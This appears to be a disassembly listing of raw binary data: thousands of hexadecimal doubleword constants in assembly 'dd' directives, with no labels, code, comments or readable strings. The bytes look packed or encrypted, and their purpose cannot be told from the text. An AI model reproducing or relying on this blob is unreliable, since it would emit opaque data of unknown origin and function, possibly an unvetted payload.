dd 5767E06Fh, 83834BA8h, 0A485C865h, 4795C453h, 7FC610DBh
dd 0E41A139Bh, 5CEDE51h, 5CC38B07h, 6AB8C6E1h, 0E844290Ah
dd 919D5289h, 5F4FEF58h, 0D8BD0A36h, 0FC7D409Dh, 8D53416Ah
dd 107B4DA8h, 0B592FBC4h, 560A0301h, 79500227h, 60D92509h
dd 0F6933BA9h, 1333EA4Fh, 1EBD6317h, 54C57C18h, 0DA92646Ah
dd 0F9FDFD5Ah, 3D0F70CAh, 62A5857Eh, 94B1201h, 0CC927695h
dd 3B89A284h, 7A75DA41h, 95ADF68h, 15C1013h, 29FDC462h
dd 0F5A1CFF2h, 796B4C71h, 39C92984h, 1676829Ch, 0AF93958Dh
dd 0C7402F0h, 0C2834107h, 16FA3B04h, 8F0720Ah, 83167540h
dd 400284BDh, 84890D73h, 8A288F8Dh, 3B141085h, 37E0DBDh
dd 1F610A89h, 4EAC9E20h, 0D3B0D249h, 0A32B1044h, 0AD20B456h
dd 0FC432CA4h, 8B527F05h
dd 0E2331895h, 7634D63Bh, 6D42403Ah, 40A7438h, 72CA00C0h
dd 6126EBF4h, 1B730E4Ah, 8B5F488Dh, 41045005h, 32261089h
dd 7237C743h, 648BAAECh, 455BE357h, 0B6B66A67h, 0A4771256h
dd 0A4681674h, 8499D49h, 9C536818h, 31BF5B11h, 6B0D7573h
dd 8434D0BCh, 0E644052Ah, 7C2532ADh, 2D7E9F16h, 2214484Ch
dd 0EB296468h, 5C902161h, 68210DACh, 0C840114Ch, 10105644h
dd 1F883068h, 0E782CE4h, 44681E80h, 0CCA4570Ch, 4BF8C1Ah
dd 283A7F17h, 245B2614h, 0B4C24499h, 13C4883Dh, 48EC2168h
dd 3789ABB9h, 8548E850h, 6878D4C4h, 8924CC56h, 0BECD8334h
dd 0AE2749A0h, 95FED810h, 31094159h, 0F3C5EA0Dh, 0E4FED888h
dd 8A1C4D3h, 98E48E4Bh, 0DEB82A78h, 4B80BE29h, 4B20FD2Ch
dd 0EF4D6651h, 4CA44ADCh, 0EB0A0FE8h, 786441B2h, 85B17E6Dh
dd 5B26E37Bh, 422D7A3h, 64182DEFh, 0DC48E408h, 0F629D492h
dd 270E48F1h, 5B30CC04h, 0DA9E1B1h, 0F00E153Dh, 32696A0Fh
dd 523FB43Fh, 855A1034h, 59C4FAA3h, 0AAB4435h, 58271044h
dd 1C81A5B7h, 0EF7A79A3h, 3C68B482h, 5C4A33BAh, 681D5D81h
dd 142B1F1Ch, 59CCE4D1h, 99202850h, 0F5469D47h, 93F5D36Dh
dd 0BF6847B2h, 0DC5E625Fh, 499E9A0Dh, 0FBBC9660h, 0B2237580h
dd 0F7202D4Ah, 8CFC9493h, 16EF3804h, 0F920251Ch, 11C6E516h
dd 0CA753CEAh, 845D9372h, 29D06817h, 41255A04h, 0F9479B09h
dd 755EC8FAh, 312522A1h, 0E42A05C1h, 0EB305954h, 6820CA2Eh
dd 0DC458A74h, 42CD93BFh, 291B687Ch, 4B865868h, 6A95C33Eh
dd 4783022Bh, 166553Bh, 0E9198E35h, 32E4324Fh, 0E75AD4B6h
dd 95A02293h, 515D12B2h, 9CE0AED0h, 94F1256Ah, 4BA3BB6Ch
dd 0A764121Ch, 0D2C84AF9h, 8A0C4B75h, 52AF5ECFh, 14E3A2D5h
dd 4A2835FFh, 162BE88Bh, 47513811h, 2FA5D4D9h, 82A2DEDCh
dd 70E9AEB6h, 8D565A41h, 6EE37EE6h, 6CDDF06Bh, 0F7148A59h
dd 505BA878h, 85C4BFF9h, 80600EF6h, 75100C46h, 0CD574B3Eh
dd 5192B21Bh, 0BD93CEFAh, 10A19ADEh, 96578C32h, 24085F8Ch
dd 0D0A5E82Dh, 0C9740B3Dh, 0BC327F5Fh, 99229D17h, 0F08AB0BDh
dd 30968E28h, 73ECB962h, 0FA140B2Eh, 7EC97E76h, 0ACB005FEh
dd 0A418EC03h, 0A79D17AEh, 0FDA4C51Bh, 0DE88D7A7h, 0A4B4E010h
dd 8D95F4B2h, 85F88741h, 2BFD5AACh, 49DC2197h, 536B4444h
dd 7F14C951h, 1591C73Dh, 2E9A3E22h, 70515696h, 89252E58h
dd 5CDEA58Bh, 8F74B25h, 7D0106A3h, 33416AF8h, 0B52B0A6Eh
dd 2501A0Eh, 0F5102984h, 0C2DF0450h, 0A85BDBBh, 0EE81D540h
dd 8A5B0211h, 74AC8ADEh, 0FC53D620h, 47134F28h, 918952FFh
dd 1502AEF8h, 670209EFh, 0C1AFF867h, 28A7FF9Dh, 4CC83D94h
dd 0C9338988h, 12051076h, 8724958Dh, 8608F1A0h, 0F472CB18h
dd 0F6197508h, 734012FBh, 0AE5C414h, 65A38B1Ch, 3BAA6243h
dd 860F9281h, 97DA74Ah, 0EEB02144h, 44C3BFA7h, 81D787C7h
dd 0E99D6F57h, 0AD215FE7h, 9F9C70ABh, 0F9425673h, 0EB4E5625h
dd 0F3587F2Dh, 31882183h, 2B01F6A8h, 392726A7h, 105995C2h
dd 63888C22h, 0EEC3438Dh, 0BD1D73C8h, 15B38F74h, 21C89D1Fh
dd 3A538D8Ch, 0EA7215CAh, 30919F4Bh, 0AE231A51h, 39EE134Bh
dd 4281196Fh, 0B2D10832h, 62017CAFh, 1568186h, 5848A61h
dd 0A3C1E40h, 0A435F288h, 4444B0B9h, 0F04BBE8Ch, 89CA8C11h
dd 431CD556h, 43134852h, 5F80148h, 0B8367659h, 715BFD6Eh
dd 0D3382CADh, 0D4BA8408h, 0BA4B7DF7h, 0EB10A530h, 252FA417h
dd 0D4B4EC68h, 3D347424h, 0E50C5F56h, 61A50412h, 534650C2h
dd 20043978h, 41820F59h, 0CBD4F211h, 3F324489h, 426B0A57h
dd 0F1C70A91h, 3F1DC9EBh, 4603EBE3h, 834EA97Dh, 143F5F32h
dd 93EA52A0h, 0E5C11510h, 81B7A4EAh, 776522F9h, 83397305h
dd 57FE0865h, 0A4DEE9F4h, 28AC60C2h, 0B8184C32h, 4D68BA96h
dd 2562F2A5h, 13DEB4F0h, 760793h, 3B462FE7h, 9128ECF1h
dd 0D2FD2C29h, 8BADEB85h, 0C4C57F84h, 75626BE3h, 640FF710h
dd 0BCA349C4h, 0FDB49DC2h, 2058F512h, 0B014BCB9h, 0FA188464h
dd 0DE141C59h, 10E4BC51h, 85BC592Ch, 0F5A01252h, 76B8E934h
dd 54085BB1h, 5AC77216h, 0B3C8B496h, 55805CC7h, 0CBD1ED4Ah
dd 2F754638h, 5474FAB0h, 0AC2B10FBh, 2533A3F9h, 4C7C3920h
dd 5427DA4Ah, 0C34C12D2h, 0E4B9052Dh, 1458324Bh, 0A139FF64h
dd 0BED19845h, 6A47916Eh, 0D0462046h, 97EC3DD2h, 90711089h
dd 1E6AE006h, 88C44228h, 0BD83C10Ch, 779F248h, 0A77F9891h
dd 1D758A08h, 9387685Ch, 4AFDD2E9h, 24163747h, 11A7C4ABh
dd 0F8A1233Bh, 28290E49h, 0CB571714h, 8FF7FDAh, 2F0291B5h
dd 0D130DD1Ah, 0FDAE1675h, 4CA81B84h, 0ED98F1F9h, 0FE1DEB2Bh
dd 94175794h, 0CDEAB521h, 594719DBh, 28FCD384h, 3DFB9757h
dd 84BDC445h, 0F0C872D3h, 6A8A712Bh, 0B4101399h, 2F2638CDh
dd 7C927474h, 0C3095323h, 0D55C82C6h, 0F48B6059h, 649C7FFEh
dd 10B00F84h, 0CF8C4B90h, 761A619Ah, 0CA80C777h, 992B16C0h
dd 110134Fh, 0BC802EC9h, 25134035h, 15C82475h, 91329EF5h
dd 7AF6221Ah, 46100530h, 231D84C6h, 83CB2089h, 1AEB8317h
dd 122E3511h, 8EF2F3Ch, 3015CC5h, 88C0BE0Fh, 5A082249h
dd 4E8AF346h, 815F4350h, 7259F03Bh, 51C75990h, 6FFCEC50h
dd 0C81665A3h, 0D42DFE9Ah, 85EE1405h, 0A1E2BE79h, 4B14188Ah
dd 2E0546F5h, 269016Ah, 0D745E10h, 0B65B672h, 23910806h
dd 316562F2h, 0EF1D9E01h, 9A5CAB9Eh, 84771B03h, 4EF039C4h
dd 7F3C499Dh, 0E8BD317Fh, 9D6A747Dh, 59541422h, 4C78C25Fh
dd 0A0B81843h, 0DDA412A6h, 0B4AAC04Ch, 9044A075h, 3B94AEFAh
dd 65EEAF2Dh, 4F839FE1h, 5F91FCD0h, 0C5E4A0E0h, 0A85BEB13h
dd 64F3B1E1h, 746A9F30h, 6B565303h, 97805F54h, 99B5CB6Ch
dd 0CF5D3065h, 8E64710Eh, 917927BDh, 0BB1414D8h, 4B609D11h
dd 8B2F1AA2h, 7A962B5Fh, 446817B4h, 0E6D8B84Ch, 0EC719526h
dd 8AD4606Ch, 0BFC17B57h, 8814B093h, 0CDC8F89Bh, 2E61A73Ch
dd 96F7DA31h, 0F7D0BF69h, 0C7C8FC42h, 44E8BD58h, 6A2138FCh
dd 0EBD54805h, 11B0E555h, 840C29F7h, 0D92F1168h, 9FFCCBD7h
dd 9432F569h, 0DBC470DEh, 406CB7DCh, 5D8053FAh, 0F806CBFCh
dd 0E5A6F44Eh, 0B05F5747h, 743F10C6h, 4BBE3823h, 642526FAh
dd 189029BAh, 0D9B73690h, 0A3D76B10h, 78C9F497h, 0F570950h
dd 5729DB84h, 5C8896B0h, 37FF3829h, 5DF4681Eh, 52B93912h
dd 0DC9720B6h, 0FFFC7B50h, 0C04CE6A7h, 5C685782h, 186835B5h
dd 3804C640h, 4619D2Ah, 0F728C396h, 0C02B05E6h, 18E44B4Fh
dd 9468147Fh, 0B00CA834h, 23D08C51h, 0A8564F80h, 0B577741Eh
dd 23988CEEh, 2BE40258h, 3FBB0E69h, 0C741703h, 800B91E8h
dd 308F083Ch, 0F4754880h, 99935040h, 0F2AB4534h, 4812D063h
dd 7C2C2B2Fh, 7820C454h, 0FB65ABFCh, 0EFA9BD7h, 519C4127h
dd 4120FE34h, 10923D71h, 0FE5B03C9h, 9D39AC45h, 0A0221E19h
dd 0A4447016h, 4F282568h, 841D194Dh, 50411B69h, 211B42D8h
dd 0BFE42E6Ah, 0C2198C2Eh, 8BD4711Ch, 1C321568h, 1572918h
dd 24B9F06Bh, 3D9CA7BCh, 5770F0Ch, 600B206Ah, 76C0B70Fh
dd 790B0348h, 4D125162h, 0C9B8DF2h, 42056CA0h, 81EA32EEh
dd 4FB1C1B8h, 20B1022Ch, 10D44CF6h, 16FE6C4h, 0F8C60916h
dd 5938A691h, 0E4244796h
dd 0FB70214Eh, 0F806B507h, 7C10E3C7h, 0AB18A48Dh, 0DC68F11Dh
dd 88BB4FA4h, 0D8A5FDF8h, 622F91A5h, 48144EBCh, 41EE6357h
dd 51170D7Ah, 0A3B468B7h, 0C2BF3E89h, 141C27F9h, 0C410591Eh
dd 86C60776h, 158E968Fh, 41AF927Ch, 0FE0431ECh, 142505CCh
dd 24BCE64Eh, 7722FEF8h, 4E1321ACh, 0EA4C6A2Bh, 820DF984h
dd 3710FC6Fh, 0BF749753h, 5B5C394Ch, 3C4310C9h, 5E94C09Ah
dd 0AE564D40h, 933A9F96h, 646E3F2Ah, 0C8B02FEBh, 518F429Ah
dd 0BC100F1Fh, 0C6FBDF4Dh, 7E978BACh, 0E8C182EAh, 784D500Ah
dd 94D233Ch, 2A32DFF7h, 6824229Eh, 5C5C1F20h, 2FAB4418h
dd 0D2355E10h, 6C96D86Eh, 9B5BC926h, 1125453Ch, 90470C1h
dd 0A0503531h, 50529912h, 1C90A529h, 4229F5FCh, 4CF0AE41h
dd 0CB0AE33Bh, 15AF9134h, 0A88AEC29h, 3B64ED1Bh, 0ACF824B4h
dd 68FC1036h, 232AF580h, 38868F92h, 330EC204h, 6E9D57F6h
dd 0B34F3C33h, 55803458h, 849394ACh, 4A97B627h, 82229DF3h
dd 18535627h, 0B8C63B80h, 740C17B9h, 5E40A26Ch, 8B2B37CDh
dd 7D3B1C33h, 9DDE72EDh, 6A0944D2h, 74D8F702h, 0CC284549h
dd 7EF9FC80h, 86578462h, 56B7EC14h, 0AE5F1056h, 0B70FA53Ch
dd 1533B3B1h, 29674DBEh, 5394DC94h, 626BED9Ch, 9B1557Bh
dd 457B070Ch, 801602AAh, 0C17D3E3Ch, 0B0CBC687h, 0B446572Fh
dd 6BEA5149h, 0EB6290D4h, 0DC2113A0h, 9655A760h, 6C74BFEFh
dd 0E97FD879h, 8EAEA4B7h, 321C2385h, 24741812h, 9C29DFA5h
dd 0CF9D1EDAh, 0C074964Eh, 0C73B2872h, 271153B5h, 68201A74h
dd 25F768D1h, 46655EF0h, 20130624h, 0B58FE868h, 2D1B1C29h
dd 3BFF449Ch, 5629D28Eh, 97FE691Eh, 0D1A510C8h, 895E479Eh
dd 22E3CDD5h, 0FC0FCB3Dh, 0D69E3A4Eh, 75052F24h, 14245719h
dd 0D732CAEFh, 38A2F9E8h, 2450722Bh, 0A7585F10h, 0C64FB663h
dd 74FD2A1h, 6A27E420h, 665ED371h, 0E84B44E6h, 1789C0E6h
dd 57932471h, 982300A6h, 5350E404h, 5E1F33Ch, 0B88EC4FBh
dd 0FEE1E2FDh, 0BFF442B7h, 0F15CE6F7h, 532B223Fh, 0FC71BEF4h
dd 4AB94691h, 50D68104h, 4FC68BAFh, 22FDB0C2h, 6ED15164h
dd 1CFDC862h, 410F1452h, 0FC6797D1h, 9FCAB8A2h, 3E276817h
dd 0C6ACC8Dh, 0BA6EFED8h, 195FE3EFh, 24B2BFBCh, 0B54C2561h
dd 809F5FB7h, 0AE553F47h, 6309851Dh, 38CC286Fh, 704FF8Ah
dd 75445601h, 0D2BE88FCh, 0A0562758h, 20B61952h, 1410C90Fh
dd 9A2D1CFh, 0F6E6088Bh, 7ACF564Ah, 4B50AE50h, 0C84CA903h
dd 0FEB0624Ah, 5F011024h, 2F2080C7h, 0C753C2A6h, 0F756EC17h
dd 0BC75C4A5h, 42837DEAh, 3054F0C6h, 0C429F927h, 9730AF08h
dd 0D6C04D8Bh, 3005CD46h, 49820431h, 0B37F8112h, 0B8E41061h
dd 0AB57B964h, 0F461BB2Dh, 6A6D317Eh, 0C3CA2A0Ah, 8ABC1340h
dd 7480665Fh, 0C56595D8h, 24346427h, 98D0E874h, 89C028DAh
dd 20667997h, 43D06484h, 11DC8BDCh, 0CC21FCB0h, 12245765h
dd 4099B6BBh, 7397C4A3h, 20C0BB91h, 0A5E09C8Eh, 0A9487DF4h
dd 0F3C6803h, 127F8741h, 0C49472EEh, 131CC639h, 9DDE3968h
dd 55FF6309h, 0ED926245h, 0AF9F9DEFh, 0E543D6EAh, 0A549BFEBh
dd 8C891657h, 92C04909h, 130BB9F4h, 66F61344h, 0A24A9694h
dd 0FEBC1038h, 0D05DC99Eh, 85D7480Fh, 51730FDCh, 29AD022Ah
dd 0E53726A1h, 8371C3F0h, 6B85484Eh, 0AC6C7208h, 47E8447Dh
dd 110EAFDEh, 34F7AF9Fh, 84EA4A73h, 83CBBB64h, 5C48AD53h
dd 91150F2Bh, 0EEB1B58h, 0F88C25C8h, 64581455h, 5610B8C7h
dd 0BED11BEAh, 6E950EAEh, 0E3564E7Dh, 31F08B62h, 0D697EA5Fh
dd 54B0FCCCh, 9085EC89h, 525484BCh, 0BC916429h, 7FE98991h
dd 0A4240E1Bh, 0CC508FD0h, 1CB3278Dh, 0A25261F4h, 0AB0E8B9Bh
dd 58063BF0h, 68C1CC77h, 2A411123h, 4A4D6B2Ch, 2E689ED0h
dd 0E004B353h, 998B0A75h, 13BBF11Ch, 0D018EC10h, 99947195h
dd 5310195Ah, 0CC36AD42h, 7E80C6DEh, 17843E2Ch, 0C3D84F94h
dd 0DD1348EBh, 0B5214A1h, 0B582114Bh, 3669FF97h, 0FC25E64Bh
dd 0E4256EEFh, 112823F2h, 0D87CB949h, 3551E626h, 8E247C30h
dd 0A743F19Fh, 0BB92F0C4h, 0CDEED827h, 261123A4h, 0CFCA73Fh
dd 66D1D1A5h, 1D844B1Bh, 909535D1h, 43B9A3C4h, 0ECC9A657h
dd 5EDA1456h, 0EB73CF0Ch, 86785B2Ch, 89AB2C48h, 11217601h
dd 1BA24A1Eh, 490ADC26h, 0C4AF0B7Fh, 4300AC7Ah, 6B332D8Dh
dd 0C9D9959h, 6F7493Eh, 0EAAB1AF5h, 0CBE248Ch, 8A5EBDAAh
dd 7563A6BCh, 0EF36FA18h, 9657919Ch, 1CC46F49h, 0D41ACB90h
dd 51FD487Ah, 7AC503F6h, 0B60D5710h, 6A01F5BCh, 6F105940h
dd 8D12B795h, 0A297C7ADh, 28444031h, 23746EA8h, 0A4CE3994h
dd 0BB9D532Ch, 4A547719h, 0F1887934h, 0A3A287E8h, 0C299E8E6h
dd 3DE2736Eh, 0D41B1E93h, 0B8A11030h, 21053190h, 7A22A40h
dd 0DAECE069h, 0E02C3D2Dh, 0D6497548h, 0F371577Fh, 40CDD02Ah
dd 1F5A0433h, 2F750DC8h, 16E05728h, 39A55318h, 1652132Bh
dd 0F068153Fh, 84A7C152h, 264C5006h, 0F2539C23h, 14E19752h
dd 98A84753h, 104427A5h, 9ABCBFAh, 2A6A5651h, 71A5F57Ah
dd 0D7BEEFAFh, 30F3B835h, 6882E8Ah, 254DE846h, 73747410h
dd 0B8282794h, 0EBDB0474h, 8A58680Bh, 7B592769h, 0FE5E1641h
dd 5A082F66h, 257CCB10h, 0E2FFD618h, 30B28468h, 0BDB7DA5Dh
dd 51C61329h, 0B905A425h, 0EC0C78A3h, 718CFD5Eh, 0B889125Fh
dd 22F4F2DCh, 9C57955Ch, 0F63325D1h, 1D18275Ch, 0A554F424h
dd 7DB492E2h, 0CC68DCEAh, 5F411632h, 967F12Ch, 3C142975h
dd 0D854B02Ch, 0B50A795Ah, 53896C77h, 0E0935B94h, 847E0D9Ah
dd 5789B042h, 0E2400CC4h, 0D1D29EE4h, 0BD250D3Bh, 0E0B2D339h
dd 8BE59414h, 0D2D30117h, 0F9CB5312h, 55140328h, 0D0899674h
dd 0E0E80CF0h, 4FB4F475h, 0BD58506Bh, 0F036C589h, 679ACC69h
dd 0CAE83219h, 0D67E9AF7h, 0B56A9D28h, 404496B3h, 0C162B44Fh
dd 41A850C5h, 9C24FFCEh, 0D093BBC8h, 40ECE62Ch, 302768FBh
dd 21579654h, 5745FBECh, 96A0D21h, 0B8C83D39h, 135CD652h
dd 0DC3D9C24h, 86FDEC88h, 9F11C020h, 0A3BB06C4h, 408AB893h
dd 3710C8C8h, 5347F4ECh, 43F98A93h, 53BC16A2h, 75CE99E3h
dd 428BFC92h, 57094B1Ah, 3E48FB50h, 0B588B5A8h, 0FBFC939Eh
dd 0F54D4B85h, 9196EB2Ah, 85305BD1h, 0F870B539h, 9F8E58B5h
dd 185FED66h, 5D5E80F3h, 6927452Ch, 0F0FA30FFh, 87E8DB33h
dd 6E9DCB92h, 0FFF6BF3Dh, 55C94667h, 591226D1h, 126E7C26h
dd 2419F968h, 9D21409h, 0C33BD70Ch, 7529103Ch, 5442E619h
dd 4E833855h, 0EAFF0C2Ah, 11323A53h, 14B21AABh, 323E2BE2h
dd 1335955h, 3A1476C3h, 946AD2CDh, 229A0652h, 499DBE8Bh
dd 1099E8FEh, 2EC0C14h, 0BAF00508h, 626AF9C8h, 71305003h
dd 74C32B00h, 6F487335h, 53D5062Ch, 55A2088h, 0BA102F81h
dd 0D757444Dh, 0A100DC8h, 3B081BEBh, 496B0429h, 8167F8Ch
dd 0DB34CC9Dh, 5AC46434h, 19332850h, 84360A32h, 925F0409h
dd 0EB63650Ch, 68FF8764h, 0C6B5143Eh, 0FC184FF4h, 75F88991h
dd 0F73B5CB8h, 0C745BA98h, 68BA8D3Bh, 870A9A1Eh, 0FE6B3E56h
dd 0C5561656h, 7D67317Bh, 31AF2AF0h, 49D3FF9Ch, 0EC5347Eh
dd 0AC4E3485h, 56202FF7h, 46CF6E76h, 0E3FC7FD9h, 14455064h
dd 0F1A5C428h, 0AB2EEB8Bh, 6C6CDCB8h, 2A950923h, 23376E1Bh
dd 1620BCEAh, 7E7D83EAh
dd 683FF4E1h, 27319C53h, 0B0E4D238h, 210555B5h, 3DF8189Ch
dd 5F27AAFBh, 33631E4h, 86E01350h, 0B2F28E0Ah, 0A90648FCh
dd 38C68B85h, 6A8858F9h, 20199544h, 86FC08A8h, 68B61DB0h
dd 0D5F1CA5Ah, 62D452E2h, 0BE2A24ACh, 42A8F181h, 3BD704E8h
dd 0AC653929h, 0B08CBBD8h, 0C081C406h, 0FE09BC02h, 6D8991Bh
dd 0DA0F92DCh, 0D4D41D09h, 85056BAEh, 4915D7D7h, 0EC516AF4h
dd 56F3A813h, 8C48F8Eh, 29977C68h, 0CEFB55C9h, 82E8209Ah
dd 7BF44DCBh, 0F07509CDh, 46D789E2h, 319895DAh, 3E9116EBh
dd 3B564442h, 59FC441Ch, 81C7D969h, 82EBB026h, 7ABA8FDCh
dd 922C6451h, 976A70CDh, 5F956A6Ch, 12892CA8h, 748A2137h
dd 32172062h, 0D0E1D24Eh, 2A76408Bh, 20208D7Eh, 0AF98012h
dd 0FA40C31Dh, 0C609740Dh, 50052784h, 40422C8Fh, 9AF8C88h
dd 0D18A4601h, 72A6203Bh, 64CD655h, 774B8E12h, 988A86D9h
dd 5C66167Eh, 8B98EB0Ah, 4B4FAE35h, 6DED81D6h, 0EA00F74h
dd 908442B7h, 8EB243B4h, 0BE9610DCh, 8908FB22h, 3466DE90h
dd 0A275C606h, 42200B48h, 52304F64h, 0CCED8E0Fh, 763C3951h
dd 4D75EF90h, 8ADEEB18h, 12BE0F42h, 85F981C8h, 0CB98FE53h
dd 7308633Ch, 7FBB5774h, 3D853A3h, 74EB0A75h, 7292345Ah
dd 786CEB3Fh, 0B2C91EFCh, 20C286C6h, 58F92008h, 88FBFA44h
dd 0FD800DFCh, 66A090Ah, 15636EBh, 31BA2415h, 0D3CE646h
dd 595005F3h, 23C62575h, 65740A12h, 0EB022EC0h, 19F33B13h
dd 894E2676h, 28201208h, 59030AF0h, 51F889A6h, 56EB0936h
dd 0F4A8697h, 0E8C353BEh, 0D07D9D57h, 4BCB5647h, 0E249FC04h
dd 0A15F2774h, 0C40A0138h, 75F4CD40h, 3B5F950Ch, 182367E1h
dd 0C2995BF0h, 380F55F4h, 719FD423h, 81064E6h, 0AB2C1B5Bh
dd 0E8A45BDFh, 0CC22FB59h, 648970F6h, 0AC5375A8h, 9CC0E826h
dd 2EED919h, 0CAF839F0h, 53E47E54h, 4A792AFBh, 0A721FB48h
dd 0C96DF58h, 4141059h, 0FA2CB551h, 852F2A2Dh, 14A6BE66h
dd 1241E997h, 0FC4D075h, 64601A26h, 0FA3049CCh, 362CA132h
dd 884A0FFDh, 4E9FDC5Bh, 0C46AC2ECh, 2070D88Bh, 7869DE59h
dd 0E875F19Dh, 5730846Ch, 4DE07543h, 80D6B72Ch, 0C8DE045Ah
dd 0C42511E7h, 8114E67h, 0C4FF2C10h, 0C8681DD3h, 72D8C485h
dd 7B863E05h, 9C56F425h, 0A2A7ABF6h, 515656A9h, 0E2234DC0h
dd 5A0AAD34h, 26F6FA29h, 0EF285CDAh, 5960589h, 8A3A2C41h
dd 26025857h, 422502D4h, 8BA8F177h, 6EE48D5Fh, 2AACCEA1h
dd 8B1238A2h, 5BEF006h, 0EEAD8989h, 0A996AFF5h, 0DC321350h
dd 0B412F41Dh, 0AFF9BD27h, 11103719h, 306B9853h, 3A6881FBh
dd 1778AAF5h, 7F4662A6h, 42BD80B1h, 4C410430h, 913235EDh
dd 8179311Ah, 5D3810E0h, 777428BCh, 9D3AEB89h, 0B2886872h
dd 17169661h, 7457F868h, 9099F92Bh, 88B44016h, 0C6579D50h
dd 5D5042FDh, 8066965Dh, 906A5315h, 0D4C4B6E6h, 9395968Eh
dd 4904E495h, 0DFF13A0h, 326F3288h, 8DC64A28h, 3634451Ah
dd 0ABC94A23h, 0FCEC2892h, 5D75E117h, 0B8CABC7Dh, 5B915598h
dd 1A7714C8h, 4D55E48Dh, 906FA364h, 4C90EE74h, 96955AFCh
dd 494C85D8h, 971076E8h, 4CA2594Bh, 0FED5D90h, 5BA89318h
dd 0D289FEA5h, 6A1DA57Bh, 649D9A23h, 0EBC70252h, 0EAE85924h
dd 5F6C98Dh, 17C0BB12h, 4B741039h, 0CCCFB509h, 723401F9h
dd 0C3BF0BF0h, 72ED9570h, 5624022Dh, 1D6939EBh, 571B03B7h
dd 0A4E4AC8Ch, 53E41127h, 742970EAh, 34A4572Ch, 0F176899Fh
dd 605F664Ah, 34971684h, 4874296Dh, 0BF2BB43Eh, 0AA4B692Ch
dd 0D5443A82h, 19574834h, 44532B46h, 0D72DF0ADh, 7CC92C61h
dd 1AEA0845h, 588205D7h, 0F2F032AAh, 9FC8C02h, 0CE26BDFEh
dd 0FEF8CF3Bh, 26D6F997h, 6B382F0h, 0D582CAF8h, 1E5503ABh
dd 68561771h, 0A0E1E890h, 0F3289D39h, 8810982Fh, 243FF842h
dd 0FEA410C3h, 69FC8CC4h, 620AF8DDh, 0D7FE9834h, 0A2B588BEh
dd 0D5500400h, 7C562DB9h, 0C2C5D3A7h, 352E34AAh, 2795BC10h
dd 641671FEh, 0C5E9AB53h, 7467D489h, 69B5C4BEh, 0EBD14FA0h
dd 41BCD644h, 0BB5656CBh, 93E452Dh, 9C571975h, 8499B09Fh
dd 0E2C495F6h, 0F0150114h, 0FC9013AAh, 0AAA467BDh, 0FB9647ECh
dd 0F4FA0110h, 0EF90F22Ah, 0A6116BFDh, 6E81D3F0h, 5C229F39h
dd 0B4EBD451h, 0D7B8A9ABh, 8AA19D53h, 5624176Bh, 800A5836h
dd 8909DA26h, 91F788B5h, 6CDA8478h, 52E5BDA5h, 0AD1063ADh
dd 0CC66175Bh, 0F0D46A7h, 2EA1218Eh, 8B1D0EB2h, 4B87A8CFh
dd 0CD0FB8FAh, 0A0891189h, 147710F4h, 1F91B511h, 7582A1C4h
dd 93806814h, 8AACCAB4h, 94C80A84h, 7AF4A7FBh, 4E31B04Bh
dd 29459D38h, 5509B112h, 0FD5546AAh, 0B9A6A30Ch, 0A5A2944Eh
dd 8C37538Eh, 8B69CA4Ah, 0C8C4DF11h, 0DAE5E498h, 3841112h
dd 3C03896Eh, 8A2A645Dh, 0D32F8B32h, 2083ABE9h, 0F5A64D8Dh
dd 78C4769Ah, 0BFF151F4h, 9708BF0Dh, 26BA4138h, 9159FC6Eh
dd 0B0A715D6h, 0ED110488h, 338D8A0Dh, 32E2DB1Bh, 0A02376D9h
dd 0FE1275C0h, 0C93224C0h, 0B98A1439h, 0EB828BC8h, 99C1FE0Eh
dd 0F088D10h, 6C0B632h, 0AF44D7C9h, 0A6A13B7h, 0C72B0914h
dd 59F721ADh, 28BF2B57h, 8B241C1Eh, 0FAAD6DF8h, 77754952h
dd 0DB044714h, 0E7E12FA9h, 0B01DB02Bh, 3FB859FFh, 654D319Eh
dd 0DC0513BFh, 168D31FCh, 2AE94DE7h, 6A3820F0h, 504DB058h
dd 0F16F85Dh, 0EFB9778Fh, 56278948h, 0AF20AAE7h, 920F3B59h
dd 0C4AE9E64h, 5DAEDAC8h, 392DFC2h, 7237CEEEh, 3DF3974Fh
dd 836F30DCh, 81E198BDh, 565E7403h, 745148BEh, 0CB3B0C75h
dd 0DB383FCCh, 8C1B9BDh, 7B6BB468h, 1B9108CAh, 0F39CB512h
dd 5A1825D2h, 13DF8E7Ah, 27C68128h, 48FE61A6h, 726A8164h
dd 37EB5EABh, 0B05585A5h, 0A542CC84h, 627FFA48h, 0AEE7582h
dd 0D470094Fh, 5DE0A583h, 6A137CF6h, 4E58BD26h, 0FF206588h
dd 947C8C3Bh, 0F23A19E1h, 53E48D28h, 166B4331h, 4DA12223h
dd 511C8255h, 642EC650h, 0CCBB2170h, 57BB08DDh, 489F23A2h
dd 416184BCh, 0B2C1E01h, 25A87D83h, 3F8CCCFDh, 0C9AF8520h
dd 0C42A7483h, 0CE77AA57h, 6573E55Fh, 400F2036h, 3C2668FBh
dd 5521D6Ch, 3E1B8CC1h, 92B59A5Ah, 4769F7AEh, 4264DFCh
dd 15230FBAh, 0A1DE89EAh, 374E2D3Fh, 0ACC48114h, 62C99273h
dd 1B4C3D6Ah, 860F0A85h, 12485CADh, 7E149B59h, 34EB158Ch
dd 0CD14A332h, 36684424h, 8891871Ch, 4995B941h, 0C291C559h
dd 225156EFh, 0DCE99FA1h, 3CFD29A0h, 0F280AC3Dh, 632F8F12h
dd 0EEC07E24h, 0B3FAE026h, 94B297AAh, 85946ABFh, 0BA6D522Eh
dd 4CB3C24Eh, 106AC568h, 0B8A8EEC4h, 0F0BF0F01h, 0B924B98Bh
dd 0B857AB78h, 80C4F600h, 526A7B74h, 66271D14h, 0E01F3884h
dd 1A757E7Ah, 15EA40E8h, 7D5B0AC0h, 4C84C710h, 0D897B0BDh
dd 32531BBBh, 821E8E2Ch, 0BE2E7DF6h, 9A02422Bh, 314393Ch
dd 2110430Ah, 0B48B4204h, 17498D19h, 625664A8h, 2083D758h
dd 0B0C5204Eh, 18C55008h, 0A4804C30h, 251F6E05h, 0A238590Ah
dd 0B93D3513h, 39620B59h, 0F3912236h, 4E0E74C2h, 4682465h
dd 55EB895Fh, 57B01F9Eh, 64256B66h, 0C30495BEh, 90B58BB9h
dd 2BD23486h, 1D21573Eh, 0A6BD442h, 92DE4972h, 0A71FEB70h
dd 21BC1566h, 62FD10F2h, 0DC4A658Dh, 3D7EEB48h, 147419FEh
dd 0FD5030Ah, 5D20203h
dd 1A750401h, 7D1A42Fh, 0C0FAE692h, 0D9A750ECh, 0E2177827h
dd 142AC383h, 7CA27D81h, 8C0F97A1h, 0D033A0E9h, 12C9084Dh
dd 0ED9DFBB5h, 81B7CA7Ah, 102B4B8h, 0E83E677Bh, 0E58AF4Fh
